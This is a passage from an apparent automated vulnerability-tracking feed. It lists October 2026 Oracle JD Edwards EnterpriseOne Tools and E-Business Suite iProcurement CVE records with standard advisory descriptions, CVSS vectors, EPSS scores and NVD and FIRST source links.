NVD CVE-2026-91296: https://nvd.nist.gov/vuln/detail/CVE-2026-91296
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91296&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).
https://kevwire.com/record/CVE-2026-91303
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91303).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91303&date=2026-10-25).
Sources:
NVD CVE-2026-91303: https://nvd.nist.gov/vuln/detail/CVE-2026-91303
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91303&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).
https://kevwire.com/record/CVE-2026-91304
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91304).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91304&date=2026-10-25).
Sources:
NVD CVE-2026-91304: https://nvd.nist.gov/vuln/detail/CVE-2026-91304
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91304&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).
https://kevwire.com/record/CVE-2026-91306
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91306).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91306&date=2026-10-25).
Sources:
NVD CVE-2026-91306: https://nvd.nist.gov/vuln/detail/CVE-2026-91306
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91306&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).
https://kevwire.com/record/CVE-2026-91307
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91307).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91307&date=2026-10-25).
Sources:
NVD CVE-2026-91307: https://nvd.nist.gov/vuln/detail/CVE-2026-91307
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91307&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).
https://kevwire.com/record/CVE-2026-91308
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91308).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91308&date=2026-10-25).
Sources:
NVD CVE-2026-91308: https://nvd.nist.gov/vuln/detail/CVE-2026-91308
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91308&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation SEC).
https://kevwire.com/record/CVE-2026-91310
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91310).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91310&date=2026-10-25).
Sources:
NVD CVE-2026-91310: https://nvd.nist.gov/vuln/detail/CVE-2026-91310
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91310&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).
https://kevwire.com/record/CVE-2026-91311
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91311).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91311&date=2026-10-25).
Sources:
NVD CVE-2026-91311: https://nvd.nist.gov/vuln/detail/CVE-2026-91311
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91311&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).
https://kevwire.com/record/CVE-2026-91313
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91313).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91313&date=2026-10-25).
Sources:
NVD CVE-2026-91313: https://nvd.nist.gov/vuln/detail/CVE-2026-91313
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91313&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).
https://kevwire.com/record/CVE-2026-91314
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91314).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91314&date=2026-10-25).
Sources:
NVD CVE-2026-91314: https://nvd.nist.gov/vuln/detail/CVE-2026-91314
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91314&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).
https://kevwire.com/record/CVE-2026-91315
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91315).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91315&date=2026-10-25).
Sources:
NVD CVE-2026-91315: https://nvd.nist.gov/vuln/detail/CVE-2026-91315
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91315&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the iProcurement product of Oracle E-Business Suite (component: E-Content Manager Catalog).
https://kevwire.com/record/CVE-2026-91316
Vulnerability in the iProcurement product of Oracle E-Business Suite (component: E-Content Manager Catalog). (Oct 20, 2026).
Vulnerability in the iProcurement product of Oracle E-Business Suite (component: E-Content Manager Catalog).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTPS to compromise iProcurement.  Successful attacks of this vulnerability can result in takeover of iProcurement. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91316).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91316&date=2026-10-25).
Sources:
NVD CVE-2026-91316: https://nvd.nist.gov/vuln/detail/CVE-2026-91316
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91316&date=2026-10-25
Vulnerability in the iProcurement product of Oracle E-Business Suite (component: E-Content Manager Catalog).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTPS to compromise iProcurement.  Successful attacks of this vulnerability can result in takeover of iProcurement. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the iProcurement product of Oracle E-Business Suite (component: Requisition Management).
https://kevwire.com/record/CVE-2026-91321
Vulnerability in the iProcurement product of Oracle E-Business Suite (component: Requisition Management). (Oct 20, 2026).
Vulnerability in the iProcurement product of Oracle E-Business Suite (component: Requisition Management).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise iProcurement.  Successful attacks of this vulnerability can result in takeover of iProcurement. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91321).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91321&date=2026-10-25).
Sources:
NVD CVE-2026-91321: https://nvd.nist.gov/vuln/detail/CVE-2026-91321
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91321&date=2026-10-25
Vulnerability in the iProcurement product of Oracle E-Business Suite (component: Requisition Management).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise iProcurement.  Successful attacks of this vulnerability can result in takeover of iProcurement. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).
https://kevwire.com/record/CVE-2026-91325
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91325).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91325&date=2026-10-25).
Sources:
NVD CVE-2026-91325: https://nvd.nist.gov/vuln/detail/CVE-2026-91325
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91325&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).
https://kevwire.com/record/CVE-2026-91326
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). (Oct 20, 2026).
